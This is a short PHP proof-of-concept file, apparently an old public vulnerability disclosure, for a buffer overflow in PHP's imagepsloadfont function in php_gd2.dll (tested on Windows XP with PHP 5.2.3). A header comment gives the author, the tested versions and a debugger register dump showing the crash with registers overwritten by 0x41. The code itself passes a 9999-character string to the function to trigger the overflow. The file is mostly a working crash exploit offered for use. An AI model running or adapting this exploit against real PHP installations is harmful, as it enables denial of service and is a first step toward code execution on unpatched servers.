<?php
/*
PHP imagepsloadfont Buffer Overflow Vulnerability

Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)

Vulnerable dll: php_gd2.dll
- Tested on WinXP SP0, PHP/5.2.3, Apache 2.2.4

The argument given was A * 9999

Access violation when reading [41414151]
----------------------------------------

Registers:
----------
EAX 77F76238 ntdll.77F76238
ECX 77C2AB33 MSVCRT.77C2AB33
EDX 01543260 php_gd2.01543260
EBX 41414141
ESP 00C0FD58
EBP 00C0FD90
ESI 41414141
EDI 00222738
EIP 77F53284 ntdll.77F53284
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 0038 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty +UNORM 7D18 00560000 00561378
ST1 empty +UNORM 2402 0012BCD0 00000001
ST2 empty +UNORM 17CD 77F516F5 FFFFFFFF
ST3 empty 0.0889391783750232330e-4933
ST4 empty +UNORM 0082 0017020C 77D43A5F
ST5 empty +UNORM 0002 77D489FF 00000000
ST6 empty 10000.00000000000000
ST7 empty 10000.00000000000000
               3 2 1 0      E S P U O Z D I
FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

Proof of concept below: 
*/

if (!extension_loaded("gd"))
  die("PHP_GD2 extension not loaded!");

$buff = str_repeat("A",9999);

$res = imagepsloadfont($buff);
echo "boom!!\n";
?>